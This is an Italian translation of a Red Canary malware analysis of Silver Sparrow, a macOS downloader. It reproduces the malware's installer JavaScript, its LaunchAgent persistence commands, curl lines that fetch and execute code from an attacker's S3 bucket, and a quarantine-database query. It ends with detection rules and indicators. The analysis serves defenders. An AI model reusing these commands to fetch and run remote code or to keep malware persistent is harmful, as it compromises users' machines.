Tagliare le ali di Silver Sparrow: individuare il malware per macOS prima che prenda il volo

Silver Sparrow è un cluster di attività che include un file binario compilato per funzionare sui nuovi chip M1 di Apple ma manca di una caratteristica molto importante: un payload.

All'inizio di questo mese, gli ingegneri di rilevamento di Red Canary Wes Hurd e Jason Killam si sono imbattuti in un tipo di malware per macOS utilizzando un LaunchAgent per stabilirne la persistenza.

Niente di nuovo in questo. Tuttavia, l'indagine ha rivelato quasi immediatamente che questo malware, qualunque cosa fosse, non mostrava i comportamenti che ci si aspetta dal solito adware che così spesso prende di mira i sistemi macOS. La novità di questo downloader deriva principalmente dal modo in cui utilizza JavaScript per l'esecuzione, qualcosa che non si era precedentemente riscontrato in altri malware per macOS, e dall'emergere di un binario correlato compilato per la nuova architettura ARM64 M1 di Apple.

Questo gruppo di attività è stato soprannominato "Silver Sparrow".

Grazie ai contributi di Erika Noerenberg e Thomas Reed di Malwarebytes e Jimmy Astle di VMware Carbon Black , gli ingegneri di Red Canary si sono subito resi conto che avevano a che fare con quello che sembrava essere un ceppo di malware precedentemente non rilevato.

Secondo i dati forniti da Malwarebytes, al 17 febbraio Silver Sparrow aveva infettato 29.139 endpoint macOS in 153 paesi, inclusi volumi elevati di rilevamento negli Stati Uniti, nel Regno Unito, in Canada, in Francia e in Germania.

Sebbene non si sia ancora osservato che Silver Sparrow fornisca payload dannosi aggiuntivi, la sua compatibilità con i chip M1 è lungimirante, la portata globale, il tasso di infezione relativamente alto e la maturità operativa suggeriscono che Silver Sparrow è una minaccia ragionevolmente seria, posizionata in modo univoco per fornire un payload potenzialmente impattante con poco preavviso. Alla luce di questi motivi di preoccupazione, in uno spirito di trasparenza, Red Canary ha voluto condividere quanto prima tutto ciò che hanno scoperto con il più ampio settore dell'infosec.

Il resto di questo post sarà organizzato nelle seguenti sezioni:

• Un'analisi tecnica di due campioni di malware Silver Sparrow
• Una spiegazione delle lacune dell'intelligence e dei punti ciechi
• Guida sulle opportunità di rilevamento per Silver Sparrow
• Un elenco di indicatori che sono stati riscontrati durante le indagini su questa minaccia

Analisi tecnica

Cosa è stato analizzato

L'indagine ha scoperto due versioni del malware Silver Sparrow, a cui ci riferiremo come "versione 1" e "versione 2" in questo post (vedi la sezione Indicatori di compromissione per un riepilogo degli indicatori che sono stati riscontrati per questi due campioni):

• Versione malware 1 Nome file: updater.pkg (pacchetto di installazione per v1) MD5: 30c9bc7d40454e501c358f77449071aa
• Versione malware 2 Nome file: update.pkg (pacchetto di installazione per v2) MD5: fdd6fb2b1dfe07b0e57d4cbfef9c8149

A parte una modifica negli URL di download e nei commenti degli script, le due versioni presentavano solo una sostanziale differenza.

La prima versione conteneva un binario Mach-O compilato solo per l'architettura Intel x86_64 (updaterMD5: c668003c9c5b1689ba47a431512b03cc). Nella seconda versione, l'avversario includeva un binario Mach-O compilato per entrambe le architetture Intel x86_64 e M1 ARM64 (taskerMD5: b370191228fef82635e39a137be470af). Ciò è significativo perché l'architettura M1 ARM64 è giovane e i ricercatori hanno scoperto pochissime minacce per la nuova piattaforma.

Come spiegheremo in dettaglio nell'analisi tecnica, i binari compilati da Mach-O non sembrano fare molto, almeno non al momento della stesura di questo articolo, e quindi li abbiamo chiamati "binari degli astanti". L'immagine seguente rappresenta uno sguardo di alto livello alle due versioni del malware Silver Sparrow.

JavaScript nel programma di installazione

È stato scoperto che molte minacce macOS vengono distribuite tramite pubblicità dannose come programmi di installazione singoli e autonomi in formato PKG o DMG, mascherati da applicazione legittima, come Adobe Flash Player, o come aggiornamenti. In questo caso, tuttavia, l'avversario ha distribuito il malware in due pacchetti distinti: updater.pkg e update.pkg. Entrambe le versioni usano le stesse tecniche per eseguire, differendo solo nella compilazione del binario bystander.

In ordine di apparizione, la prima cosa nuova e degna di nota di Silver Sparrow è che i suoi pacchetti di installazione sfruttano l'API JavaScript Installer di macOS per eseguire comandi sospetti. Sebbene abbiamo osservato software legittimo farlo, questa è la prima volta che l'abbiamo osservato nel malware.

Questa è una deviazione dal comportamento che di solito osserviamo negli installatori di macOS dannosi, che generalmente utilizzano script di preinstallazione o postinstallazione per eseguire i comandi. Nei casi di preinstallazione e postinstallazione, l'installazione genera un particolare modello di telemetria che tende ad assomigliare al seguente:

• Processo genitore: package_script_service
• Processo: bash, zsh, sh, Python, o di un altro interprete
• Riga di comando: contiene preinstall o postinstall

Questo modello di telemetria non è di per sé un indicatore particolarmente ad "alta fedeltà" della "malignità del software" perché anche il software legittimo utilizza gli script, ma identifica in modo affidabile gli installatori che utilizzano gli script di preinstallazione e postinstallazione in generale. Silver Sparrow differisce da ciò che ci aspettiamo di vedere dagli installatori di macOS dannosi includendo i comandi JavaScript nel file XML di definizione della distribuzione del file del pacchetto. Questo produce un modello di telemetria diverso:

• Processo genitore: Installer
• Processi: bash

Come con gli script di preinstallazione e postinstallazione, questo modello di telemetria non è sufficiente per identificare da solo il comportamento dannoso. Gli script di preinstallazione e postinstallazione includono argomenti della riga di comando che offrono indizi su ciò che viene effettivamente eseguito. I comandi JavaScript dannosi, d'altra parte, vengono eseguiti utilizzando il processo di installazione di macOS legittimo e offrono una visibilità minima sul contenuto del pacchetto di installazione o su come quel pacchetto utilizza i comandi JavaScript.

Il punto di ingresso al codice risiede nel file Distribution di definizione XML del pacchetto, che contiene un tag di controllo dell'installazione che specifica quale funzione eseguire durante la fase di " Verifica installazione":

<installation-check script="installation_check ()"/>

L'installatore ha utilizzato tre funzioni JavaScript per tutto il lavoro pesante all'interno della funzione "installation_check ()":

function bash(command) {
         system.run('/bin/bash', '-c', command)
    }

    function appendLine(line, file)
    {
        bash(`printf "%b\n" '${line}' >> ${file}`)
    }

    function appendLinex(line, file)
    {
        bash(`"echo" ${line} >> ${file}`)
    }
    function appendLiney(line, file)
    {
        bash(`printf "%b" '${line}' >> ${file}`)
    }

Nota che nel codice sopra, Silver Sparrow utilizza il comando system.run di Apple per l'esecuzione. Apple ha documentato il codice system.run come l'avvio di "un determinato programma nella directory Resources del pacchetto di installazione", ma non si limita all'uso della directory Resources. Come osservato con Silver Sparrow, puoi fornire il percorso completo di un processo per l'esecuzione e i suoi argomenti. Seguendo questa strada, il malware induce il programma di installazione a generare più processi bash che può utilizzare quindi per raggiungere i suoi obiettivi. Le funzioni appendLine appendLinex e appendLiney estendono i comandi bash con argomenti che scrivono l'input nei file su disco. Silver Sparrow scrive ciascuno dei suoi componenti riga per riga con i comandi JavaScript:

appendLine(`initTime=\$1`, updaterMonitorPath) 
appendLine(`/usr/bin/curl ${url} > /tmp/version.json`, updaterMonitorPath)
appendLine(`plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist`, updaterMonitorPath)
appendLine(`wait=$(/usr/libexec/PlistBuddy -c "Print :dls" /tmp/version.plist)`, updaterMonitorPath)
appendLine(`wait=\$((\$wait* 60 ))`, updaterMonitorPath)
appendLine(`instVersion=1`, updaterMonitorPath)

Questo approccio può evitare semplici firme statiche generando dinamicamente lo script anziché utilizzare un file di script statico. Inoltre, i comandi consentono all'avversario di modificare rapidamente il codice per essere molto più versatile nel caso in cui decidesse di apportare una modifica. Nel complesso, significa che probabilmente l'avversario stava tentando di eludere il rilevamento e facilitare lo sviluppo.

Una volta scritti tutti i comandi, sul disco esistono due nuovi script: /tmp/agent.sh e ~/Library/Application Support/verx_updater/verx.sh. Lo script agent.sh viene eseguito immediatamente alla fine dell'installazione per contattare un sistema controllato da un avversario e indicare che l'installazione è avvenuta. Lo script verx.sh viene eseguito periodicamente a causa di un LaunchAgent persistente per contattare un host remoto per ulteriori informazioni.

Everyone needs a (Plist)Buddy

La prima indicazione di attività dannosa era il processo PlistBuddy di creazione di un LaunchAgent, spieghiamo il significato di ciò.

LaunchAgents fornisce un modo per istruire launchd, il sistema di inizializzazione di macOS, ad eseguire periodicamente o automaticamente le attività. Possono essere scritti da qualsiasi utente sull'endpoint, ma di solito vengono eseguiti anche come l'utente che li scrive. Ad esempio, se l'utente tlambert scrive ~/Library/LaunchAgents/evil.plist le attività descritte in evil.plist normalmente verranno eseguite come tlambert. Per ulteriori informazioni, fare riferimento alla documentazione di Apple.

Sebbene strumenti come osquery e controlli antimalware abbiano un'eccellente visibilità sui contenuti di LaunchAgents, alcuni strumenti di rilevamento e risposta degli endpoint (EDR) hanno difficoltà a ottenere visibilità in LaunchAgents. Gli strumenti EDR tendono a fare affidamento sul monitoraggio del processo che offre una grande visibilità sulla creazione, ma non necessariamente sui contenuti, di un file. Ad esempio, uno strumento EDR potrebbe offrire il seguente comando di shell:

cp /Volumes/TotesLegit.app/Resources/launcher.plist ~/Library/LaunchAgents/launcher.plist

Di conseguenza, rilevare un meccanismo di persistenza sotto forma di LaunchAgent dannoso può essere estremamente difficile utilizzando solo EDR perché richiede di analizzare l'attività circostante per prendere una decisione sul programma di installazione stesso. In altre parole: sai che LaunchAgent può essere utilizzato come meccanismo di persistenza, ma, poiché potresti non essere in grado di vedere il contenuto del file LaunchAgent, devi fare affidamento sul contesto per determinare l'intento di tale LaunchAgent.

Per fortuna, ci sono diversi modi per creare elenchi di proprietà (plists) su macOS e talvolta gli avversari usano metodi diversi per soddisfare le loro esigenze. Uno di questi è attraverso PlistBuddy, uno strumento integrato che consente di creare vari elenchi di proprietà su un endpoint, inclusi LaunchAgents. A volte gli avversari utilizzano PlistBuddy per stabilire la persistenza e in questo modo i difensori possono ispezionare prontamente il contenuto di un LaunchAgent utilizzando EDR perché tutte le proprietà del file vengono visualizzate sulla riga di comando prima della scrittura. Nel caso di Silver Sparrow, abbiamo osservato i comandi che scrivevano il contenuto del plist:

 

PlistBuddy -c "Add :Label string init_verx" ~/Library/Launchagents/init_verx.plist
PlistBuddy -c "Add :RunAtLoad bool true" ~/Library/Launchagents/init_verx.plist
PlistBuddy -c "Add :StartInterval integer 3600" ~/Library/Launchagents/init_verx.plist
PlistBuddy -c "Add :ProgramArguments array" ~/Library/Launchagents/init_verx.plist
PlistBuddy -c "Add :ProgramArguments:0 string '/bin/sh'" ~/Library/Launchagents/init_verx.plist
PlistBuddy -c "Add :ProgramArguments:1 string -c" ~/Library/Launchagents/init_verx.plist

 

Nella sua forma finale su disco, l'XML LaunchAgent Plist sarà simile al seguente:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
   <key>Label</key>
    <string>init_verx</string>
   <key>RunAtLoad</key>
    <bool>true</bool>
   <key>StartInterval</key>
    <integer>3600</integer>
   <key>ProgramArguments</key>
   <array>
   <string>'/bin/sh'</string>
   <string>-c</string>
   <string>"~/Library/Application\\ Support/verx_updater/verx.sh" [timestamp] [data from plist downloaded] 1</string>
  </array>
</dict>
</plist>

Comando e controllo (C2)

Ogni ora, il LaunchAgent di persistenza dice a launchd di eseguire uno script di shell che scarica un file JSON su disco, lo converte in un plist e utilizza le sue proprietà per determinare ulteriori azioni.

curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json
plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist

...

curl $(/usr/libexec/PlistBuddy -c "Print :downloadUrl" /tmp/version.plist) --output /tmp/verx
chmod 777 /tmp/verx
/tmp/verx upbuchupsf

La struttura del file version.json scaricato è simile a questa:

{
    "version": 2,
    "label": "verx",
    "args": "upbuchupsf",
    "dls": 4320,
    "run": true,
    "loc": "~/Library/._insu",
    "downloadUrl": ""
}

Ogni ora la proprietà "downloadUrl" viene controllata per il download e l'esecuzione di contenuti aggiuntivi. Dopo aver osservato il malware per oltre una settimana, né Red Canary né i loro partner di ricerca hanno osservato un payload finale, lasciando un mistero l'obiettivo finale dell'attività di Silver Sparrow. L'utilizzo di Silver Sparrow dell'infrastruttura ospitata su AWS S3 è interessante perché AWS offre un metodo di distribuzione dei file altamente disponibile e resiliente. L'avversario può creare un bucket, distribuire file e operare senza preoccuparsi dell'amministrazione di rete aggiuntiva e dell'overhead associato al fare tutto questo internamente. Inoltre, i domini di callback per questo cluster di attività hanno sfruttato i domini ospitati tramite Akamai CDN. Ciò implica che l'avversario probabilmente comprende l'infrastruttura cloud e i suoi vantaggi su un singolo server o un sistema non resiliente. Inoltre, l'avversario che probabilmente comprende questa scelta di hosting gli consente di integrarsi con il normale sovraccarico del traffico dell'infrastruttura cloud. La maggior parte delle organizzazioni non può permettersi di bloccare l'accesso alle risorse in AWS e Akamai. La decisione di utilizzare l'infrastruttura AWS supporta ulteriormente la valutazione secondo cui si tratta di un avversario maturo dal punto di vista operativo.

Misteri sui misteri

Oltre al mistero del payload, Silver Sparrow include un controllo dei file che provoca la rimozione di tutti i meccanismi e gli script di persistenza. Verifica la presenza di ~/Library/._insu su disco e, se il file è presente, Silver Sparrow rimuove tutti i suoi componenti dall'endpoint. Gli hash segnalati da Malwarebytes (d41d8cd98f00b204e9800998ecf8427e) indicavano che il file ._insu era vuoto. La presenza di questa caratteristica è qualcosa di misterioso.

if [ -f ~/Library/._insu ]
    then    
        rm ~/Library/Launchagents/verx.plist
        rm ~/Library/Launchagents/init_verx.plist
        rm /tmp/version.json
        rm /tmp/version.plist
        rm /tmp/verx
        rm -r ~/Library/Application\\ Support/verx_updater
        rm /tmp/agent.sh
        launchctl remove init_verx

Il file ._insu non appare per impostazione predefinita su macOS e al momento non conosciamo le circostanze in cui appare il file.

L'ultima richiamata

Al termine dell'installazione, Silver Sparrow esegue due comandi di rilevamento per creare i dati per una richiesta curl HTTP POST che indica che l'installazione è avvenuta. Uno recupera l'UUID di sistema per il reporting e il secondo trova informazioni più interessanti: l'URL utilizzato per scaricare il file del pacchetto originale.

Eseguendo una query sqlite3, il malware trova l'URL originale da cui è stato scaricato il PKG, dando all'avversario un'idea dei canali di distribuzione di successo. Di solito vediamo questo tipo di attività con adware dannoso su macOS.

sqlite3 sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent where LSQuarantineDataURLString like “[redacted]" order by LSQuarantineTimeStamp desc'

Hello, World: binari bystander

La prima versione del malware Silver Sparrow (updater.pkg MD5: 30c9bc7d40454e501c358f77449071aa) che hanno analizzato conteneva un binario Mach-O estraneo (updater MD5: c668003c9c5b1689ba47a431512b03cc), compilato per Intel x86_64 che sembrava non svolgere alcun ruolo aggiuntivo nell'esecuzione di Silver Sparrow. Alla fine questo binario sembra essere stato incluso come contenuto segnaposto per dare al PKG qualcosa da distribuire al di fuori dell'esecuzione JavaScript. Dice semplicemente "Hello, World!" (letteralmente!)

  

 

La seconda versione (update.pkg MD5: fdd6fb2b1dfe07b0e57d4cbfef9c8149) includeva anche un binario Mach-O estraneo (tasker MD5: b370191228fef82635e39a137be470af) compilato per essere compatibile con Intelx86_64 e M1 ARM64. Come prima, questo file binario sembra essere stato incluso come segnaposto, questa volta con il messaggio "You did it!" (Ce l'hai fatta!)

 

È possibile osservare il supporto della doppia architettura dalla versione 2 del binario Mach-O estraneo controllando l'output del file utilizzando il comando su sistemi macOS o Linux esaminando il binario:

tasker: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>] [arm64:Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]

Al contrario, l'output del file con il comando dal binario Mach-O estraneo nella versione 1 sarebbe simile al seguente:

updater: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>

Timeline

Non abbiamo un quadro completo di quando è apparso per la prima volta Silver Sparrow, ma siamo stati in grado di costruire la seguente sequenza temporale attraverso un mix di intelligenza open source e telemetria di Red Canary:

1. 18 agosto 2020: dominio di callback versione 1 del malware (versione non M1) api.mobiletraits[.]com creato (sorgente)
2. 31 agosto 2020: Malware versione 1 (versione non M1) inviata a VirusTotal (fonte)
3. 2 settembre 2020: file version.json visto durante l'esecuzione della versione 2 del malware inviato a VirusTotal (fonte)
4. 5 dicembre 2020: creazione del dominio di callback versione 2 del malware (versione M1) api.specialattributes[.]com (sorgente)
5. 22 gennaio 2021: file PKG versione 2 (contenente un binario M1) inviato a VirusTotal (fonte)
6. 26 gennaio 2021: Red Canary rileva la versione 1 del malware Silver Sparrow
7. 9 febbraio 2021: Red Canary rileva la versione 2 del malware Silver Sparrow (versione M1)

Intelligence gaps

Al momento della pubblicazione, sono stati identificato alcuni fattori sconosciuti relativi a Silver Sparrow di cui non abbiamo visibilità o semplicemente non è passato abbastanza tempo per osservarne. Innanzitutto, non si è certi del metodo di distribuzione iniziale per i file PKG. Si sospetta che i risultati dei motori di ricerca inducano le vittime a scaricare i PKG dannosi in base alle connessioni di rete dal browser della vittima poco prima del download. In questo caso non si può esserne certi perché non si ha la visibilità per determinare esattamente cosa ha causato il download.

Successivamente, non si conoscono le circostanze in cui ~/Library/._insu appare. Questo file può far parte di un set di strumenti che l'avversario desidera evitare; può far parte del ciclo di vita del malware stesso come un modo per rimuovere i componenti dopo che un obiettivo è stato raggiunto.

Inoltre, l'obiettivo finale di questo malware rimane un mistero. Non si è avuto modo di sapere con certezza quale payload sarebbe distribuito dal malware, se un payload è già stato consegnato e rimosso o se l'avversario ha una tempistica futura per la distribuzione. Sulla base dei dati condivisi con Red Canary da Malwarebytes, i quasi 30.000 host interessati non hanno scaricato quello che sarebbe il payload successivo o finale.

Infine, anche lo scopo del binario Mach-O incluso nei file PKG è un mistero. In base ai dati dell'esecuzione dello script, il file binario viene eseguito solo se una vittima lo cerca intenzionalmente e lo avvia. I messaggi che abbiamo osservato di "Hello, World!" o "You did it!" potrebbe indicare che la minaccia è in fase di sviluppo in una fase di proof-of-concept o che l'avversario aveva solo bisogno di un bundle dell'applicazione per far sembrare il pacchetto legittimo.

Opportunità di rilevamento

La sezione seguente include le descrizioni delle analisi che hanno aiutato a rilevare il downloader di Silver Sparrow. Detto questo, queste analisi non erano state create specificamente allo scopo di rilevare Silver Sparrow, quindi potrebbero essere utili per rilevare un'ampia gamma di minacce macOS. Se una di queste analisi vi avvisa di attività potenzialmente dannose, vi consigliamo di cercare la presenza di indicatori (elencati di seguito) per confermare se si ha a che fare con un'infezione di Silver Sparrow o qualcos'altro.

• Cercare un processo che sembra essere in esecuzione in PlistBuddy insieme a una riga di comando contenente quanto segue: LaunchAgents e RunAtLoad e true. Questa analisi ci aiuta a trovare più famiglie di malware per macOS che stabiliscono la persistenza LaunchAgent.
• Cercare un processo che sembra essere sqlite3 l'esecuzione in combinazione con una riga di comando che contiene: LSQuarantine. Questa analisi ci aiuta a trovare più famiglie di malware per macOS che manipolano o cercano i metadati per i file scaricati.
• Cercare un processo che sembra essere curl in esecuzione in concomitanza con una riga di comando che contiene: s3.amazonaws.com. Questa analisi ci aiuta a trovare più famiglie di malware per macOS utilizzando i bucket S3 per la distribuzione.

Indicatori di compromissione

Nelle versioni 1 e 2

~/Library/._insu (empty file used to signal the malware to delete itself)

/tmp/agent.sh (shell script executed for installation callback)

/tmp/version.json (file downloaded from S3 to determine execution flow)

/tmp/version.plist (version.json converted into a property list)

Malware versione 1

 

Nome file: updater.pkg (pacchetto di installazione per v1)
MD5: 30c9bc7d40454e501c358f77449071aa

Nome file: updater (bystander Mach-O Intel binario nel pacchetto v1)
MD5: c668003c9c5b1689ba47a431512b03cc

mobiletraits.s3.amazonaws[.]com (S3 bucket holding version.json for v1)
~/Library/Application Support/agent_updater/agent.sh (v1 script that executes every hour)
/tmp/agent (file containing final v1 payload if distributed)
~/Library/Launchagents/agent.plist (v1 persistence mechanism)
~/Library/Launchagents/init_agent.plist (v1 persistence mechanism)
Developer ID Saotia Seay (5834W6MYX3) – v1 bystander binary signature revoked by Apple

Contenuto e struttura del pacchetto

. 
├── Distribution * 
└── updater.pkg
    ├── Bom
    ├── PackageInfo
    ├── Payload
    └── updater.app
        └── Contents
            ├── _CodeSignature
            │   └── CodeResources
            ├── Info.plist
            ├── MacOS
            │   └── updater *
            ├── PkgInfo
            └── Resources
                └── Base.lproj
                    └── Main.storyboardc
                        ├── Info.plist
                        └── MainMenu.nib

(*) Contains executable code

Malware versione 2

 

Nome file: update.pkg (pacchetto di installazione per v2)
MD5: fdd6fb2b1dfe07b0e57d4cbfef9c8149

tasker.app/Contents/MacOS/tasker (bystander Mach-O Intel e binario M1 in v2)
MD5: b370191228fef82635e39a137be470af

specialattributes.s3.amazonaws[.]com (S3 bucket holding version.json for v2)
~/Library/Application Support/verx_updater/verx.sh (v2 script that executes every hour)
/tmp/verx (file containing final v2 payload if distributed)
~/Library/Launchagents/verx.plist (v2 persistence mechanism)
~/Library/Launchagents/init_verx.plist (v2 persistence mechanism)
Developer ID Julie Willey (MSZ3ZH74RK) – v2 bystander binary signature revoked by Apple

Contenuto e struttura del pacchetto

.
├── Distribution *
└── tasker.pkg
    ├── Bom
    ├── PackageInfo
    ├── Payload
    └── tasker.app
        └── Contents
            ├── _CodeSignature
            │   └── CodeResources
            ├── Info.plist
            ├── MacOS
            │   └── tasker *
            ├── PkgInfo
            └── Resources
                └── Base.lproj
                    └── Main.storyboardc
                        ├── Info.plist
                        └── MainMenu.nib

(*) Contains executable code

Fonte: Red Canary Blog